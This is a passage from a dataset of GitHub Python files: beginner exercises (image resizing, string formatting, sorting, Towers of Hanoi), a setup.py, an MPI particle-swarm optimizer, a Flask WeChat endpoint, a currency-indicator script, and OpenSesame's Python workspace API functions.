Graphics.show()\n\n","repo_name":"erkovacs/ase-ada-project","sub_path":"library/lda.py","file_name":"lda.py","file_ext":"py","file_size_in_byte":2986,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"10822306938","text":"# -*- coding: utf-8 -*-\n#by liangwenhao\n#第 0005 题：你有一个目录，装了很多照片，把它们的尺寸变成都不大于 iPhone5 分辨率的大小。\n\nfrom PIL import Image, ImageOps\nimport os, os.path\n\nL = [ x for x in os.listdir('.') if os.path.isfile(x) and os.path.splitext(x)[1]=='.jpg' ] \n#os.path.splitext(path) 分离文件名与扩展名；默认返回(fname,fextension)元组，可做分片操作 \n \n\nfor x in L:\n    img = Image.open(x)#创建image对象\n    xsize, ysize = img.size#获取高宽\n    xsize = 500#设定高\n    ysize = ysize * 500 // xsize#设定宽\n    img = ImageOps.fit(img,(xsize,ysize))#修改尺寸 \n    img.save(\"out\"+x)#保存","repo_name":"wenhaoliang/learn-python","sub_path":"Python练习册，每天一个小程序/0005/0005.py","file_name":"0005.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"zh","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"}
{"seq_id":"25606172963","text":"# from https://github.com/bast/somepackage/blob/master/setup.py\nfrom setuptools import setup, find_packages\n\nimport os\nimport sys\n\n_here = os.path.abspath(os.path.dirname(__file__))\n\nif sys.version_info[0] < 3:\n    with open(os.path.join(_here, 'README.md')) as f:\n        long_description = f.read()\nelse:\n    with open(os.path.join(_here, 'README.md'), encoding='utf-8') as f:\n        long_description = f.read()\n\nversion = {}\nwith open(os.path.join(_here, 'grid', 'version.py')) as f:\n    exec(f.read(), version)\n\nsetup(\n    name='p_grid',\n    version=version['__version__'],\n    description=('Simple python grid'),\n    long_description=long_description,\n    author='Yoieh',\n    author_email='yoieh@live.se',\n    url='https://github.com/yoieh/p_grid',\n    packages=find_packages(\"src\"),\n    package_dir={\"\": \"src\"},\n    license=\"MIT\",\n    install_requires=_here.joinpath(\"requirements.txt\").read_text().split(\n        \"\\n\"),\n)\n","repo_name":"yoieh/p_grid","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"1721184200","text":"# for adding strings and no. with formula.\na=663\nc=8307399011\nb='''my house no is {} at houising board colony hisar. \nMy mobile no. is {}.'''\nprint(b.format(a,c))\n\n\n\n\n\n# sepicifying the position of strings \n# positon start form 0.\nf='''today at {1} of {4} {2}. i buy {3} packs of {0}'''\nx='pizza'\ny=\"10\"\nz=\"2021\"\nd=\"5\"\ne=\"6\"\nprint(f.format(x,y,z,d,e))","repo_name":"ritesh2912/python","sub_path":"basicpython/fromating.py","file_name":"fromating.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"29574216164","text":"'''\nCreated on Oct 28, 2013\n\n@author: J.Akeret, S. Birrer\n'''\nfrom __future__ import print_function, division, absolute_import, unicode_literals\n\nimport numpy\n#import schwimmbad\nfrom schwimmbad import MPIPool\n#from emcee.mpi_pool import MPIPool\n\n\nfrom mpipso.pso import ParticleSwarmOptimizer\nimport sys\n\n\nclass MpiParticleSwarmOptimizer(ParticleSwarmOptimizer):\n    \"\"\"\n    PSO with support for MPI to distribute the workload over multiple nodes\n    \"\"\"\n\n    def __init__(self, func, low, high, particleCount=25, threads=1):\n        self.threads = threads\n        pool = MPIPool()\n        if not pool.is_master():\n            pool.wait()\n            sys.exit(0)\n        ParticleSwarmOptimizer.__init__(self, func, low, high, particleCount=particleCount, pool=pool)\n\n    def _converged(self, it, p, m, n):\n\n        if self.is_master():\n            converged = super(MpiParticleSwarmOptimizer, self)._converged(it, p, m, n)\n        else:\n            converged = False\n        converged = self.mpiBCast(converged)\n        return converged\n\n    def _get_fitness(self, swarm):\n\n        mpiSwarm = self.mpiBCast(swarm)\n        pos = numpy.array([part.position for part in mpiSwarm])\n        results = self.pool.map(self.func, pos)\n        lnprob = numpy.array([l[0] for l in results])\n        for i, particle in enumerate(swarm):\n            particle.fitness = lnprob[i]\n            particle.position = pos[i]\n\n    def is_master(self):\n        return self.pool.is_master()\n\n    def isMaster(self):\n        return self.is_master()\n\n    def mpiBCast(self, value):\n        \"\"\"\n        Mpi bcasts the value and Returns the value from the master (rank = 0).\n        \"\"\"\n        #getLogger().debug(\"Rank: %s, pid: %s MpiPool: bcast\", MPI.COMM_WORLD.Get_rank(), os.getpid())\n\n        return self.pool.comm.bcast(value)\n        #return MPI.COMM_WORLD.bcast(value)\n","repo_name":"sibirrer/mpipso","sub_path":"mpipso/mpipso.py","file_name":"mpipso.py","file_ext":"py","file_size_in_byte":1851,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"}
{"seq_id":"11480426278","text":"from flask import Blueprint, render_template, redirect, request, flash, url_for\nimport hashlib\nfrom flask import make_response\nimport xml.etree.ElementTree as ET\n\nwechat = Blueprint(\n      \"wechat\", __name__, template_folder=\"../templates\", static_folder=\"../static\")\n\nWX_TOKEN = 'duansq'\n\n@wechat.route(\"/wechat_api/\", methods=['GET', 'POST'])\ndef index():\n   if request.method == 'GET':\n      token = WX_TOKEN\n      data = request.args\n      signature = data.get('signature', '')\n      timestamp = data.get('timestamp', '')\n      nonce = data.get('nonce', '')\n      echostr = data.get('echostr', '')\n      s = sorted([timestamp, nonce, token])\n      # 字典排序\n      s = ''.join(s)\n      if hashlib.sha1(s.encode('utf-8')).hexdigest() == signature:\n         # 判断请求来源，并对接受的请求转换为utf-8后进行sha1加密\n         response = make_response(echostr)\n         return response\n\n\ndef message_del(content): \n   # 次数是自定义的消息处理函数，自由发挥\n   if \"baidu\" in content:\n      message = \"www.baidu.com\"\n   elif \"金牛\" in content:\n      message = \"贪财好色小心眼\"\n   else:\n      message = \"我不知道！\"\n   return message\n","repo_name":"zerostwo/zzmath","sub_path":"app/views/wechat.py","file_name":"wechat.py","file_ext":"py","file_size_in_byte":1187,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"72768875662","text":"def quick_sort(u, initial, final):\n   if final - initial <= 0:  # partitioned list has cardinality of 1, by definition sorted\n      return True\n   pivot_index = partition(u, initial, final)  # sort & obtain the index to split u\n   quick_sort(u, initial, pivot_index - 1)  # recursivly repeat for each half of u still unsorted about p_index\n   quick_sort(u, pivot_index + 1, final)\n   return True\n\ndef partition(u, initial, final):\n   pivot_value = u[final]\n   lowest = i = initial\n   while i != final:\n      while u[lowest] <= pivot_value and lowest < final:\n         lowest += 1\n      i = lowest\n      while u[i] > pivot_value and i < final:\n         i += 1\n      swap = u[lowest]\n      u[lowest] = u[i]\n      u[i] = swap\n   return lowest\n\ndef hanoi(n, start, middle, final):\n   if n <= 0:\n      return True\n   hanoi(n - 1, start, final, middle)  # move to midde\n   final.append(start.pop())  # append to final\n   hanoi(n - 1, middle, start, final)  # move from middle to final\n   print(start, middle, final)\n   return True\n\ndef helper_test_quick_sort():  # testing function for quicksort - technically not a helper function\n   print(\"\\nQUICK SORT\")\n   v1 = [10,9,8,7,6,5,4,3,2,1,0]  # test cases\n   v2 = [100,1,1000,9,8,7,2,2000,10]\n   v3 = [100,10,1000,9,8,7,2,6,5,2,3,1]\n   expect = [\"[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\",  # hand-sorted answers\n   \"[1, 2, 7, 8, 9, 10, 100, 1000, 2000]\", \n   \"[1, 2, 2, 3, 5, 6, 7, 8, 9, 10, 100, 1000]\"]\n   test_lists = [v1, v2, v3]\n   for i in range(0, len(test_lists), 1):  # test the 3 test cases w/ fancy output\n      test = list(test_lists[i])\n      print(\"Input:\", test)\n      quick_sort(test, 0, len(test) - 1)\n      print(\"Answer:\", expect[i])\n      print(\"Output:\", test, \"\\n\")\n   return True\n\ndef helper_test_hanoi():  # testing function for hanoi - technically not a helper function\n   print(\"\\nBefore HANOI:\")\n   start_tower = [i for i in range(5)]  # generate a start tower\n   middle_tower = []\n   final_tower = []\n   print(\"Starting Tower:\", start_tower)  # middle and final should be empty\n   print(\"Middle Tower:\", middle_tower)\n   print(\"Final Tower:\", final_tower)\n   hanoi(len(start_tower), start_tower, middle_tower, final_tower)  # hanoi from start to final\n   print(\"\\nAfter HANOI:\")  # start and middle should be empty\n   print(\"Starting Tower:\", start_tower)\n   print(\"Middle Tower:\", middle_tower)\n   print(\"Final Tower:\", final_tower)\n   return True\n\ndef main():\n   helper_test_quick_sort()\n   helper_test_hanoi()\n   return True\n\n\nmain()","repo_name":"AdamCarnaffan/Data-Structures","sub_path":"lab9/lab9_divy/lab9.py","file_name":"lab9.py","file_ext":"py","file_size_in_byte":2501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"29766029306","text":"from datetime import datetime\n\nimport pandas as pd\n\n\n# Завантаження даних\ncsv_filename = f\"currency_data/combined_data_currency_{datetime.today().date()}.csv\"\n\n# Read CSV file, treating missing values as 0 in the sentiment column\ncurrency_data = pd.read_csv(\n    csv_filename,\n    skiprows=[0],\n    names=[\n        \"Data\",\n        \"Open\",\n        \"High\",\n        \"Low\",\n        \"Close\",\n        \"Adj Close\",\n        \"Volume\",\n        \"Currency\",\n        \"sentiment\",\n    ],\n    dtype={\n        \"Open\": float,\n        \"High\": float,\n        \"Low\": float,\n        \"Close\": float,\n        \"Adj Close\": float,\n        \"Volume\": int,\n        \"sentiment\": float,  # Change the dtype to float to handle potential NaN values\n    },\n    na_values={\"sentiment\": 0},  # Specify how NaN values are represented in the CSV\n)\ncurrency_data[\"Data\"] = pd.to_datetime(currency_data[\"Data\"])\n\n\n# Розрахунок технічних індикаторів для кожної валютної пари\ndef calculate_technical_indicators(data):\n    data[\"SMA_50\"] = data[\"Close\"].rolling(window=50).mean()\n    data[\"SMA_200\"] = data[\"Close\"].rolling(window=200).mean()\n    data[\"RSI\"] = 100 - (\n        100 / (1 + data[\"Close\"].pct_change().rolling(window=14).mean())\n    )\n    data[\"MACD\"] = (\n        data[\"Close\"].ewm(span=12, adjust=False).mean()\n        - data[\"Close\"].ewm(span=26, adjust=False).mean()\n    )\n    data[\"Signal_Line\"] = data[\"MACD\"].ewm(span=9, adjust=False).mean()\n    data[\"Bollinger_Band_Upper\"] = (\n        data[\"Close\"].rolling(window=20).mean()\n        + 2 * data[\"Close\"].rolling(window=20).std()\n    )\n    data[\"Bollinger_Band_Lower\"] = (\n        data[\"Close\"].rolling(window=20).mean()\n        - 2 * data[\"Close\"].rolling(window=20).std()\n    )\n    return data\n\n\n# Застосування функції до кожної валютної пари\ncurrency_data = (\n    currency_data.groupby(\"Currency\")\n    .apply(calculate_technical_indicators)\n    .reset_index(drop=True)\n)\n\n# Вибірка необхідних стовпців для збереження\nselected_columns = [\n    \"Data\",\n    \"Open\",\n    \"High\",\n    \"Low\",\n    \"Close\",\n    \"Adj Close\",\n    \"Volume\",\n    \"Currency\",\n    \"sentiment\",\n    \"SMA_50\",\n    \"SMA_200\",\n    \"RSI\",\n    \"MACD\",\n    \"Signal_Line\",\n    \"Bollinger_Band_Upper\",\n    \"Bollinger_Band_Lower\",\n]\n\n# Збереження оновленого DataFrame без перших двох стовпців\ncurrency_data[selected_columns].to_csv(\n    f\"currency_data/currency_data_with_all_indicators_{datetime.today().date()}.csv\",\n    index=False,\n)\n","repo_name":"OleksandrYanchuk/CurrencyPredictBot.-v1.1-","sub_path":"analys_data.py","file_name":"analys_data.py","file_ext":"py","file_size_in_byte":2612,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"33344797239","text":"import sys\nsys.stdin = open(\"problem_4.txt\", \"r\")\n\nT = int(input())\nfor tc in range(1, T+1):\n    N = int(input())\n    n = list(map(int, input().split()))\n    asc_list = n[:]\n    des_list = n[:]\n    for j in range(len(n)-1):\n        min_idx = j\n        for k in range(j+1, len(n)):\n            if asc_list[min_idx] > asc_list[k]:\n                min_idx = k\n        asc_list[j], asc_list[min_idx] = asc_list[min_idx], asc_list[j]              # 여기서 indent가 두번 들어갔었음.\n\n    for j in range(len(n)-1):\n        max_idx = j\n        for k in range(j+1, len(n)):\n            if des_list[max_idx] < des_list[k]:\n                max_idx = k\n        des_list[j], des_list[max_idx] = des_list[max_idx], des_list[j]\n    # print(asc_list)\n    asc_list_cut = asc_list[0:len(asc_list)//2]\n    des_list_cut = des_list[0:len(des_list)//2]\n    result = []\n    for i in range(5):\n        result.append(des_list_cut[i])\n        result.append(asc_list_cut[i])\n    print(f'#{tc}', *result)\n    # print(*result)","repo_name":"websvey1/TIL","sub_path":"algorithm/algorithm_week/week2/problem_4.py","file_name":"problem_4.py","file_ext":"py","file_size_in_byte":1008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"7870989658","text":"# -*- coding:utf-8 -*-\n\n\"\"\"\nThis file is part of OpenSesame.\n\nOpenSesame is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nOpenSesame is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with OpenSesame.  If not, see <http://www.gnu.org/licenses/>.\n\"\"\"\nfrom libopensesame.py3compat import *\nimport random\nimport math\nimport warnings\n# The classes below are unused, but imported so that they are available in the\n# workspace.\nfrom openexp.canvas_elements import (Rect, Line, Text, Ellipse, Circle,\n                                     FixDot, Gabor, NoisePatch, Image, Arrow,\n                                     Polygon)\nfrom libopensesame.widgets.widget_factory import (Label, Button, ImageWidget,\n                                                  ImageButton, TextInput,\n                                                  RatingScale, Checkbox)\n\n\n# Factory functions\ndef Experiment(osexp_path=None, log_path='defaultlog.csv', fullscreen=False,\n               subject_nr=0, **kwargs):\n    \"\"\"A factory function that creates a new `Experiment` object. This is only\n    useful when implementing an experiment entirely through a Python script,\n    rather than through the user interface.\n    \n    Parameters\n    ----------\n    osexp_path : str or Path or None, optional\n        If a path to an `.osexp` file is specified, this file is opened and\n        can be run directly by calling `Experiment.run()`. If no experiment\n        file is specified, an empty experiment is initialized.\n    log_path : str or Path, optional\n    fullscreen : bool, optional\n    subject_nr : int, optional\n    kwargs : dict, optional\n        Optional keyword arguments that are interpreted as experimental\n        variables. The main use of this is to specify the backend through\n        the `canvas_backend` keyword.\n        \n    Examples\n    --------\n    To implement an experiment fully programmatically:\n    \n    ~~~ .python\n    from libopensesame.python_workspace_api import (\n        Experiment, Canvas, Text, Keyboard)\n    exp, win, clock, log = Experiment(canvas_backend='legacy')\n    c = Canvas()\n    c += Text('Press any key')\n    c.show()\n    kb = Keyboard()\n    kb.get_key()\n    exp.end()\n    ~~~\n    \n    To load an experiment file and run it:\n\n    ~~~ .python\n    from libopensesame.python_workspace_api import Experiment\n    exp, win, clock, log = Experiment(osexp_path='my_experiment.osexp',\n                                      subject_nr=2)\n    exp.run()\n    ~~~\n    \n    Returns\n    -------\n    tuple\n        An (exp, win, clock, log) tuple corresponding to the Experiment,\n        window handle (backend-specific), Clock, and Log objects.\n    \"\"\"\n    global experiment\n    from libopensesame.experiment import Experiment as RuntimeExperiment\n    if osexp_path is None:\n        from libopensesame.syntax import Syntax\n        syntax = Syntax(None)\n        string = '\\n'.join([syntax.create_cmd('set', [key, value])\n                            for key, value in kwargs.items()])\n    else:\n        string = osexp_path\n    experiment = RuntimeExperiment(experiment_path=osexp_path,\n                                   logfile=log_path, fullscreen=fullscreen,\n                                   subject_nr=subject_nr, string=string)\n    experiment.init_random()\n    experiment.init_display()\n    experiment.init_clock()\n    experiment.init_sound()\n    experiment.init_log()\n    return experiment, experiment.window, experiment.clock, experiment.log\n\n\ndef Form(*args, **kwargs):\n    r\"\"\"A factory function that creates a new `Form` object. For a\n    description\n    of possible keywords, see:\n\n    - %link:manual/forms/widgets%\n\n    Returns\n    -------\n    canvas\n        A `Form` object.\n\n    Examples\n    --------\n    >>> form = Form()\n    >>> label = Label(text='label')\n    >>> button = Button(text='Ok')\n    >>> form.set_widget(label, (0,0))\n    >>> form.set_widget(button, (0,1))\n    >>> form._exec()\n    \"\"\"\n    from libopensesame.widgets import form\n    return form(experiment, **kwargs)\n\n\ndef Canvas(auto_prepare=True, **style_args):\n    r\"\"\"A factory function that creates a new `Canvas` object. For a\n    description of possible keywords, see:\n\n    - %link:manual/python/canvas%\n\n    Returns\n    -------\n    canvas\n        A `Canvas` object.\n\n    Examples\n    --------\n    >>> my_canvas = Canvas(color=u'red', penwidth=2)\n    >>> my_canvas.line(-10, -10, 10, 10)\n    >>> my_canvas.line(-10, 10, 10, -10)\n    >>> my_canvas.show()\n    \"\"\"\n    from openexp.canvas import Canvas\n    return Canvas(experiment, auto_prepare=auto_prepare, **style_args)\n\n\ndef Keyboard(**resp_args):\n    r\"\"\"A factory function that creates a new `Keyboard` object. For a\n    description of possible keywords, see:\n\n    - %link:manual/python/keyboard%\n\n    Returns\n    -------\n    keyboard\n        A `Keyboard` object.\n\n    Examples\n    --------\n    >>> my_keyboard = Keyboard(keylist=[u'a', u'b'], timeout=5000)\n    >>> key, time = my_keyboard.get_key()\n    \"\"\"\n    from openexp.keyboard import Keyboard\n    return Keyboard(experiment, **resp_args)\n\n\ndef Mouse(**resp_args):\n    r\"\"\"A factory function that creates a new `Mouse` object. For a\n    description\n    of possible keywords, see:\n\n    - %link:manual/python/mouse%\n\n    Returns\n    -------\n    mouse\n        A `mouse` object.\n\n    Examples\n    --------\n    >>> my_mouse = Mouse(keylist=[1,3], timeout=5000)\n    >>> button, time = my_mouse.get_button()\n    \"\"\"\n    from openexp.mouse import Mouse\n    return Mouse(experiment, **resp_args)\n\n\ndef Sampler(src, **playback_args):\n    r\"\"\"A factory function that creates a new `Sampler` object. For a\n    description of possible keywords, see:\n\n    - %link:manual/python/sampler%\n\n    Returns\n    -------\n    sampler\n        A SAMPLER object.\n\n    Examples\n    --------\n    >>> src = pool['bark.ogg']\n    >>> my_sampler = Sampler(src, volume=.5, pan='left')\n    >>> my_sampler.play()\n    \"\"\"\n    from openexp.sampler import Sampler\n    return Sampler(experiment, src, **playback_args)\n\n\n# Miscellaneous API\tfunctions\n\n\ndef Synth(osc=\"sine\", freq=440, length=100, attack=0, decay=5):\n    r\"\"\"A factory function that synthesizes a sound and returns it as a\n    `Sampler` object.\n\n    Parameters\n    ----------\n    osc : str, unicode, optional\n        Oscillator, can be \"sine\", \"saw\", \"square\" or \"white_noise\".\n    freq : str, unicode, int, float, optional\n        Frequency, either an integer value (value in hertz) or a string (\"A1\",\n        \"eb2\", etc.).\n    length : int, float, optional\n        The length of the sound in milliseconds.\n    attack : int, float, optional\n        The attack (fade-in) time in milliseconds.\n    decay : int, float, optional\n        The decay (fade-out) time in milliseconds.\n\n    Returns\n    -------\n    sampler\n        A SAMPLER object.\n\n    Examples\n    --------\n    >>> my_sampler = Synth(freq=u'b2', length=500)\n    \"\"\"\n    from openexp.synth import Synth\n    return Synth(experiment, osc=osc, freq=freq, length=length, attack=attack,\n                 decay=decay)\n\n\ndef copy_sketchpad(name):\n    r\"\"\"Returns a copy of a `sketchpad`'s canvas.\n\n    Parameters\n    ----------\n    name : str, unicode\n        The name of the `sketchpad`.\n\n    Returns\n    -------\n    canvas\n        A copy of the `sketchpad`'s canvas.\n\n    Examples\n    --------\n    >>> my_canvas = copy_sketchpad('my_sketchpad')\n    >>> my_canvas.show()\n    \"\"\"\n    c = Canvas()\n    c.copy(experiment.items[name].canvas)\n    return c\n\n\ndef reset_feedback():\n    r\"\"\"Resets all feedback variables to their initial state.\n\n    Examples\n    --------\n    >>> reset_feedback()\n    \"\"\"\n    experiment.reset_feedback()\n\n\ndef set_subject_nr(nr):\n    r\"\"\"Sets the subject number and parity (even/ odd). This function is called\n    automatically when an experiment is started, so you only need to call it\n    yourself if you overwrite the subject number that was specified when the\n    experiment was launched.\n\n    Parameters\n    ----------\n    nr : int\n        The subject nr.\n\n    Examples\n    --------\n    >>> set_subject_nr(1)\n    >>> print('Subject nr = %d' % var.subject_nr)\n    >>> print('Subject parity = %s' % var.subject_parity)\n    \"\"\"\n    experiment.set_subject(nr)\n\n\ndef sometimes(p=.5):\n    r\"\"\"Returns True with a certain probability. (For more advanced\n    randomization, use the Python `random` module.)\n\n    Parameters\n    ----------\n    p : float, optional\n        The probability of returning True.\n\n    Returns\n    -------\n    bool\n        True or False\n\n    Examples\n    --------\n    >>> if sometimes():\n    >>>         print('Sometimes you win')\n    >>> else:\n    >>>         print('Sometimes you loose')\n    \"\"\"\n    if (not isinstance(p, float) and not isinstance(p, int)) or p < 0 or p > 1:\n        raise ValueError(\n            f'p should be a numeric value between 0 and 1, not {p}')\n    return random.random() < p\n\n\ndef pause():\n    r\"\"\"Pauses the experiment.\"\"\"\n    experiment.pause()\n\n\ndef register_cleanup_function(fnc):\n    r\"\"\"Registers a clean-up function, which is executed when the experiment\n    ends. Clean-up functions are executed at the very end, after the display,\n    sound device, and log file have been closed. Clean-up functions are also\n    executed when the experiment crashes.\n\n    Examples\n    --------\n    >>> def my_cleanup_function():\n    >>>         print(u'The experiment is finished!')\n    >>> register_cleanup_function(my_cleanup_function)\n    \"\"\"\n    experiment.cleanup_functions.append(fnc)\n\n\ndef xy_from_polar(rho, phi, pole=(0, 0)):\n    r\"\"\"Converts polar coordinates (distance, angle) to Cartesian coordinates\n    (x, y).\n\n    Parameters\n    ----------\n    rho : float\n        The radial coordinate, also distance or eccentricity.\n    phi : float\n        The angular coordinate. This reflects a clockwise rotation in degrees\n        (i.e. not radians), where 0 is straight right.\n    pole : tuple, optional\n        The reference point.\n\n    Returns\n    -------\n    tuple\n        An (x, y) coordinate tuple.\n\n    Examples\n    --------\n    >>> # Draw a cross\n    >>> x1, y1 = xy_from_polar(100, 45)\n    >>> x2, y2 = xy_from_polar(100, -45)\n    >>> c = Canvas()\n    >>> c.line(x1, y1, -x1, -y1)\n    >>> c.line(x2, y2, -x2, -y2)\n    >>> c.show()\n    \"\"\"\n    try:\n        rho = float(rho)\n    except:\n        raise TypeError('rho should be numeric in xy_from_polar()')\n    try:\n        phi = float(phi)\n    except:\n        raise TypeError('phi should be numeric in xy_from_polar()')\n    phi = math.radians(phi)\n    ox, oy = parse_pole(pole)\n    x = rho * math.cos(phi) + ox\n    y = rho * math.sin(phi) + oy\n    return x, y\n\n\ndef xy_to_polar(x, y, pole=(0, 0)):\n    r\"\"\"Converts Cartesian coordinates (x, y) to polar coordinates (distance,\n    angle).\n\n    Parameters\n    ----------\n    x : float\n        The X coordinate.\n    y : float\n        The Y coordinate.\n    pole : tuple, optional\n        The reference point.\n\n    Returns\n    -------\n    tuple\n        An (rho, phi) coordinate tuple. Here, `rho` is the radial coordinate,\n        also distance or eccentricity. `phi` is the angular coordinate in\n        degrees (i.e. not radians), and reflects a counterclockwise rotation,\n        where 0 is straight right.\n\n    Examples\n    --------\n    >>> rho, phi = xy_to_polar(100, 100)\n    \"\"\"\n    try:\n        x = float(x)\n    except:\n        raise TypeError('x should be numeric in xy_to_polar()')\n    try:\n        y = float(y)\n    except:\n        raise TypeError('y should be numeric in xy_to_polar()')\n    ox, oy = parse_pole(pole)\n    dx = x-ox\n    dy = y-oy\n    rho = math.sqrt(dx**2 + dy**2)\n    phi = math.degrees(math.atan2(dy, dx))\n    return rho, phi\n\n\ndef xy_distance(x1, y1, x2, y2):\n    r\"\"\"Gives the distance between two points.\n\n    Parameters\n    ----------\n    x1 : float\n        The x coordinate of the first point.\n    y1 : float\n        The y coordinate of the first point.\n    x2 : float\n        The x coordinate of the second point.\n    y2 : float\n        The y coordinate of the second point.\n\n    Returns\n    -------\n    float\n        The distance between the two points.\n    \"\"\"\n    try:\n        x1 = float(x1)\n        y1 = float(y1)\n        x2 = float(x2)\n        y2 = float(y2)\n    except:\n        raise TypeError('Coordinates should be numeric in xy_distance()')\n    return math.sqrt((x1-x2)**2+(y1-y2)**2)\n\n\ndef xy_circle(n, rho, phi0=0, pole=(0, 0)):\n    r\"\"\"Generates a list of points (x,y coordinates) in a circle. This can be\n    used to draw stimuli in a circular arrangement.\n\n    Parameters\n    ----------\n    n : int\n        The number of x,y coordinates to generate.\n    rho : float\n        The radial coordinate, also distance or eccentricity, of the first\n        point.\n    phi0 : float, optional\n        The angular coordinate for the first coordinate. This is a\n        counterclockwise rotation in degrees (i.e. not radians), where 0 is\n        straight right.\n    pole : tuple, optional\n        The reference point.\n\n    Returns\n    -------\n    list\n        A list of (x,y) coordinate tuples.\n\n    Examples\n    --------\n    >>> # Draw 8 rectangles around a central fixation dot\n    >>> c = Canvas()\n    >>> c.fixdot()\n    >>> for x, y in xy_circle(8, 100):\n    >>>         c.rect(x-10, y-10, 20, 20)\n    >>> c.show()\n    \"\"\"\n    try:\n        n = int(n)\n        if n < 0:\n            raise ValueError()\n    except (ValueError, TypeError):\n        raise ValueError('n should be a non-negative integer in xy_circle()')\n    try:\n        phi0 = float(phi0)\n    except (ValueError, TypeError):\n        raise TypeError('phi0 should be numeric in xy_circle()')\n    l = []\n    for i in range(n):\n        l.append(xy_from_polar(rho, phi0, pole=pole))\n        phi0 += 360./n\n    return l\n\n\ndef xy_grid(n, spacing, pole=(0, 0)):\n    r\"\"\"Generates a list of points (x,y coordinates) in a grid. This can be\n    used to draw stimuli in a grid arrangement.\n\n    Parameters\n    ----------\n    n : int, tuple\n        An `int` that indicates the number of columns and rows, so that `n=2`\n        indicates a 2x2 grid, or a (n_col, n_row) `tuple`, so that `n=(2,3)`\n        indicates a 2x3 grid.\n    spacing : float\n        A numeric value that indicates the spacing between cells, or a\n        (col_spacing, row_spacing) tuple.\n    pole : tuple, optional\n        The reference point.\n\n    Returns\n    -------\n    list\n        A list of (x,y) coordinate tuples.\n\n    Examples\n    --------\n    >>> # Draw a 4x4 grid of rectangles\n    >>> c = Canvas()\n    >>> c.fixdot()\n    >>> for x, y in xy_grid(4, 100):\n    >>>         c.rect(x-10, y-10, 20, 20)\n    >>> c.show()\n    \"\"\"\n    try:\n        n_col, n_row = n\n    except:\n        n_col = n_row = n\n    try:\n        n_col = int(n_col)\n        n_row = int(n_row)\n        assert(n_col >= 0)\n        assert(n_row >= 0)\n    except:\n        raise ValueError('n should be a non-negative integer or a tuple of '\n                         'two non-negative integers in xy_grid()')\n    try:\n        s_col, s_row = spacing\n    except:\n        s_col = s_row = spacing\n    try:\n        s_col = float(s_col)\n        s_row = float(s_row)\n        assert(s_col >= 0)\n        assert(s_row >= 0)\n    except:\n        raise ValueError('spacing should be a non-negative numeric or a '\n                         'tuple of two non-negative numerics in xy_grid()')\n    pole = parse_pole(pole)\n    l = []\n    for row in range(n_row):\n        y = (row - (n_row-1) / 2.) * s_row + pole[1]\n        for col in range(n_col):\n            x = (col - (n_col-1) / 2.) * s_col + pole[0]\n            l.append((x, y))\n    return l\n\n\ndef xy_random(n, width, height, min_dist=0, pole=(0, 0)):\n    r\"\"\"Generates a list of random points (x,y coordinates) with a minimum\n    spacing between each pair of points. This function will raise an\n    Exception when the coordinate list cannot be generated,  typically because\n    there are too many points, the min_dist is set too high, or the width or\n    height are set too low.\n\n    Parameters\n    ----------\n    n : int\n        The number of points to generate.\n    width : float\n        The width of the field with random points.\n    height : float\n        The height of the field with random points.\n    min_dist : float, optional\n        The minimum distance between each point.\n    pole : tuple, optional\n        The reference point.\n\n    Returns\n    -------\n    list\n        A list of (x,y) coordinate tuples.\n\n    Examples\n    --------\n    >>> # Draw a 50 rectangles in a random grid\n    >>> c = Canvas()\n    >>> c.fixdot()\n    >>> for x, y in xy_random(50, 500, 500, min_dist=40):\n    >>>         c.rect(x-10, y-10, 20, 20)\n    >>> c.show()\n    \"\"\"\n    try:\n        n = int(n)\n        if n < 0:\n            raise ValueError()\n    except (ValueError, TypeError):\n        raise ValueError('n should be a non-negative integer in xy_circle()')\n    try:\n        width = float(width)\n    except:\n        raise TypeError('width should be numeric in xy_random()')\n    try:\n        height = float(height)\n    except:\n        raise TypeError('height should be numeric in xy_random()')\n    try:\n        min_dist = float(min_dist)\n    except:\n        raise TypeError('min_dist should be numeric in xy_random()')\n    pole = parse_pole(pole)\n    max_try = 1000\n    for t1 in range(max_try):\n        l = []\n        for i in range(n):\n            for t2 in range(max_try):\n                x1 = (random.random()-.5)*width + pole[0]\n                y1 = (random.random()-.5)*height + pole[1]\n                for x2, y2 in l:\n                    if xy_distance(x1, y1, x2, y2) < min_dist:\n                        break\n                else:\n                    # Point does not collide, so add to the list\n                    l.append((x1, y1))\n                    break\n            else:\n                # All level-2 tries have failed, so break to start a new level-1\n                # try.\n                break\n        else:\n            # All points have been successfully added, so return the list\n            return l\n    # All level-1 tries have failed\n    raise RuntimeError('Failed to generate random coordinates in xy_random()')\n\n\n# Helper functions that are not part of the public API\n\n\ndef parse_pole(pole):\n    try:\n        ox = float(pole[0])\n        oy = float(pole[1])\n        assert(len(pole) == 2)\n    except:\n        raise ValueError('pole should be a tuple (or similar) of length '\n                         'with two numeric values')\n    return ox, oy\n\n\ndef set_aliases():\n    # Non PEP-8 alias for backwards compatibility\n    global canvas, sampler, synth, keyboard, mouse\n    canvas = Canvas\n    sampler = Sampler\n    synth = Synth\n    keyboard = Keyboard\n    mouse = 